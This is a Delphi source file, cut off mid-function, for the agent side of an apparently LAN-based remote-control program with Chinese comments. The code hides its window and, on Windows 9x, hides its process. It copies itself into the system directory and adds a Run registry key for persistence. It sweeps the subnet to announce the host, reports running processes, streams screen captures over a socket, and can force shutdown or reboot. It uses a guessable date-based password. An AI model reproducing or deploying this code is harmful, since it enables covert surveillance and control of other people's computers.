server.pas

有关密码为： 服务端：为 “1”。 客户端：为机器的月份+日期。 如“2005/08/05”

unit Server;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  NMUDP,StdCtrls, ExtCtrls, ComCtrls,shellapi,mmsystem, Psock, NMDayTim,ScktComp, Menus,
  Buttons,registry, TLHelp32 ;

  //shellapi需要shellapi.pas，mciSendstring需要mmsystem.pas

const
    wm_icb=wm_user+1000; //任务栏建图标用

type
  TForm1 = class(TForm)
    SUDP: TNMUDP;
    NMDayTime1: TNMDayTime;
    tccd: TPopupMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    N3: TMenuItem;
    N4: TMenuItem;
    N5: TMenuItem;
    N6: TMenuItem;
    le1: TLabel;
    p1: TPanel;
    p2: TPanel;
    Edit1: TEdit;
    Edit2: TEdit;
    P3: TPanel;
    Button4: TButton;
    Button5: TButton;
    Button6: TButton;
    p4: TPanel;
    N7: TMenuItem;
    N8: TMenuItem;
    N9: TMenuItem;
    kz: TServerSocket;
    Timer1: TTimer;
    Panel1: TPanel;
    Panel2: TPanel;
    LBox1: TListBox;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Timer2: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure SUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
        FromIP: String; Port: Integer);
    procedure FormDestroy(Sender: TObject);
    procedure lckmse();
    procedure unmse();
    procedure N3Click(Sender: TObject);
    procedure glj(i:integer);
    procedure N1Click(Sender: TObject);  
    procedure FXX(xxly:string;IPdz:string);
    procedure N2Click(Sender: TObject);  //发控制码
    procedure ycck;
    procedure Button4Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure FormHide(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure N7Click(Sender: TObject);
    procedure N9Click(Sender: TObject);
    procedure kzClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure FormResize(Sender: TObject);
    procedure N6Click(Sender: TObject);  //隐藏窗口
    function My_SelfHide: Boolean;
    procedure Edit2KeyPress(Sender: TObject; var Key: Char);
    procedure cazuji();
    function ComputerName : String;
    procedure Timer2Timer(Sender: TObject);
    procedure My_PROC ;
  private
      { Private declarations }
  myicon:TNotifyicondata;   //任务栏建图标用
  procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
  procedure wmicb(var msg:TMessage);message wm_icb; //任务栏建图标用
  procedure screencap(leftpos,toppos,rightpos,bottompos:integer);
  procedure  reg_auto(add_dele,file1:string);
  function  ma:string;
  function  ver98(): boolean;
  procedure mima4;
  procedure xq_close(cr:integer);

  public
    { Public declarations }
    mima,mima1:string; //MIMA 密码 MIMA1输入的密码字

  end;

var
//全局变量
 Form1: TForm1;
 gjsj:integer=1800;    //关机时间设置3分钟
 zjip:string='';       //主机IP （服务器）
implementation

uses Unit3, Unit2;


const Buffer=2048;{ 发送每一笔数据的缓冲区大小 }
var
    RsltStream,TmpStream,BmpStream:TMemoryStream;
    leftsize:longint;
{$R *.DFM}



//自定义函数区

procedure tform1.My_PROC;
 //需在user 加 TLHelp32
var
  ok: Bool;
  ProcessListHandle: THandle;
  ProcessStruct: TProcessEntry32;
  ExeFile: string;
begin
  ProcessListHandle := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  ProcessStruct.dwSize := Sizeof(ProcessStruct);
  ok := Process32First(ProcessListHandle, ProcessStruct);
  while Integer(ok) <> 0 do
  begin
    ExeFile := ProcessStruct.szExeFile;
    ok := Process32Next(ProcessListHandle, ProcessStruct);
    fxx('proc'+exefile,zjip);
  end;
end;

procedure TForm1.cazuji();
//  在本机的IP地址范围内搜主机
var
 ReqCode:array[0..29] of char;
 bgip:array[0..15] of char;
 szj0,szj1,ReqCodeStr,bgip1:string;
 szj2,bgip2,bgip3:integer;
begin
//在本机的IP地址范围内搜主机 分解IP前3段
   bgip3:=0;
   bgip1:=NMDayTime1.LocalIP;
   StrpCopy(bgip,bgip1);
   bgip2:=0;
   while bgip3<3 do
     begin
      bgip1:=bgip[bgip2];
      if bgip1='.' then bgip3:=bgip3+1;
      bgip2:=bgip2+1;
     end;
    bgip1:=NMDayTime1.LocalIP;
    delete(bgip1,bgip2+1,12);
// 分解IP前3段完 即***.***.***.
szj0:=bgip1;
szj1:='0';
szj2:=0;
//运行时进行登录服务器，发送 计算机名和IP
while  szj2<256 do //搜索主机
  begin
      //发计算机名
    ReqCodeStr:='mz'+ComputerName;
    StrpCopy(ReqCode,ReqCodeStr);
    TmpStream.Clear;
    RsltStream.Clear;
    SUDP.RemoteHost:=szj0+szj1;
    SUDP.SendBuffer(ReqCode,30);
      //发IP  地址
    ReqCodeStr:='ip'+NMDayTime1.LocalIP;
    StrpCopy(ReqCode,ReqCodeStr);
    TmpStream.Clear;
    RsltStream.Clear;
    SUDP.RemoteHost:=szj0+szj1;
    SUDP.SendBuffer(ReqCode,30);
    szj2:=szj2+1;
    szj1:=inttostr(szj2);
  end;   //搜索主机完
end;

procedure TForm1.xq_close(cr:integer); //关闭电脑
var
 //       st : SYSTEMTIME;
        hToken : THANDLE;
        tkp : TOKEN_PRIVILEGES;
        rr : Dword;
begin
        OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,hToken);
        LookupPrivilegeValue(nil,'SeShutdownPrivilege',tkp.Privileges[0].Luid);
        // 设定权限为1
        tkp.PrivilegeCount := 1;
        tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
        // 得到权限
        AdjustTokenPrivileges(hToken, FALSE, tkp, 0,nil,rr);
        // 关闭计算机
        if cr=0 then
          ExitWindowsEx(EWX_SHUTDOWN+EWX_FORCE,0)
          //ExitWindowsEx(EWX_SHUTDOWN or EWX_POWEROFF, 0)
        else
       // 重起计算机
        ExitWindowsEx(EWX_REBOOT,2);
       //ExitWindowsEx(EWX_REBOOT OR EWX_POWEROFF, 0)
end;

procedure tform1.mima4;
//用日期中的月份+日=当前密码字
var
date1:tdatetime;
year,month,day:word;
begin
date1:=date;
decodedate(date1,year,month,day);
mima:=inttostr(month)+inttostr(day);
end;


function tform1.My_SelfHide: Boolean;
// 判断是不是98版 是则加载 KERNEL32.DLL  否不加；
type
TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
var
hNdl: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
Result := False;
if Win32Platform <> VER_PLATFORM_WIN32_NT then //不是NT
begin
hNdl := LoadLibrary('KERNEL32.DLL');
RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');
RegisterServiceProcess(GetCurrentProcessID, 1);
FreeLibrary(hNdl);
Result := True;
end
else
Exit;
end;


function tform1.ver98(): boolean;
//判断版本 返回true 为98或以下 false 为NT 或XP
var
  OSVI:OSVERSIONINFO;
  is98orlater:boolean;
begin
  OSVI.dwOSVersionInfoSize:=sizeof(OSVERSIONINFO);
//设置版本信息结构的大小
  GetVersionEx(OSVI);
  //获取版本信息
  is98orlater:=
  //判断是否98或以后版本
    (osvi.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS) and
    ((osvi.dwMajorVersion>4) or
    ((osvi.dwMajorVersion=4) and (osvi.dwMinorVersion>0)));

 result:=is98orlater;
  end;


function  tform1.ma:string;
var    //取输入的密码字
ma1:tserver2;
begin
  ma1:=tserver2.Create(self);
  ma1.ShowModal;
  result:=mima1;
end;

procedure  tform1.reg_auto(add_dele,file1:string);
//自动加入注册表
// add_dele :'1'注册 ,否则删除 ，删除时后两项为空
// file1    :加入的文件名
var
regf:tregistry;
sysdir:pchar;
temp:string;
begin
 getmem(sysdir,256);
 getsystemdirectory(sysdir,128);
 temp:=sysdir+'\'+file1;
 freemem(sysdir,256);
 regf:=tregistry.Create;
 regf.RootKey:=HKEY_LOCAL_MACHINE;
 regf.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
if add_dele='1' then  regf.WriteString('xzxq',temp) else regf.DeleteValue('xzxq') ;
 regf.Free;
 copyfile(pchar(file1),pchar(temp),true);
end;


//---------------kz
procedure tform1.screencap(leftpos,toppos,rightpos,bottompos:integer);
// 自定义截屏函数
var
recwidth,recheight:integer;
sourcedc,destdc,bhandle:integer;
bitmap:tbitmap;
begin
recwidth:=rightpos-leftpos;
recheight:=bottompos-toppos;
sourcedc:=createdc('display','','',nil);
destdc:=createcompatibledc(sourcedc);
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);
selectobject(destdc,bhandle);
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,srccopy);
bitmap:=tbitmap.Create;
bitmap.Handle:=bhandle;
bitmap.SaveToStream(bmpstream);
bmpstream.Position:=0;
leftsize:=bmpstream.Size;
bitmap.Free;
deletedc(destdc);
releasedc(bhandle,sourcedc);
end;
procedure TForm1.kzClientRead(Sender: TObject; Socket: TCustomWinSocket);
var buf:array[0..buffer-1] of char;
    sendsize:integer;
    temps:string;
begin
temps:=Socket.ReceiveText;
if temps='cut' then
begin
if bmpstream.Size=0 then screencap(0,0,screen.Width,screen.Height);
if leftsize>buffer then sendsize:=buffer
else sendsize:=leftsize;
bmpstream.ReadBuffer(buf,sendsize);
leftsize:=leftsize-sendsize;
if leftsize=0 then bmpstream.clear;
socket.Sendbuf(buf,sendsize);
end;
end;
//-----------------kz --end



procedure TForm1.ycck;
begin   //隐藏窗口
form1.visible:=false;
application.ShowMainForm:=form1.visible;
setforegroundwindow(application.handle);
My_SelfHide;
end;
//获取计算机名
function TForm1.ComputerName : String;
var
  CNameBuffer : PChar;
  fl_loaded : Boolean;
  CLen : ^DWord;
begin
    GetMem(CNameBuffer,255);
    New(CLen);
    CLen^:= 255;
    fl_loaded := GetComputerName(CNameBuffer,CLen^);
    if fl_loaded then
      ComputerName := StrPas(CNameBuffer)
    else
      ComputerName := '不知道!';
    FreeMem(CNameBuffer,255);
    Dispose(CLen);
end;

procedure TForm1.FXX(xxly:string;IPdz:string);  //发控制码
//参数：XXLY 消息内容 最多250个字符 IP 客户机的IP地址
var
ReqCode:array[0..250] of char;
ReqCodeStr:string;
begin
 if IPdz<>'' then
  begin
   ReqCodeStr:=xxly;
   StrpCopy(ReqCode,ReqCodeStr);
   TmpStream.Clear;
   RsltStream.Clear;
   SUDP.RemoteHost:=IPdz;
   SUDP.SendBuffer(ReqCode,250);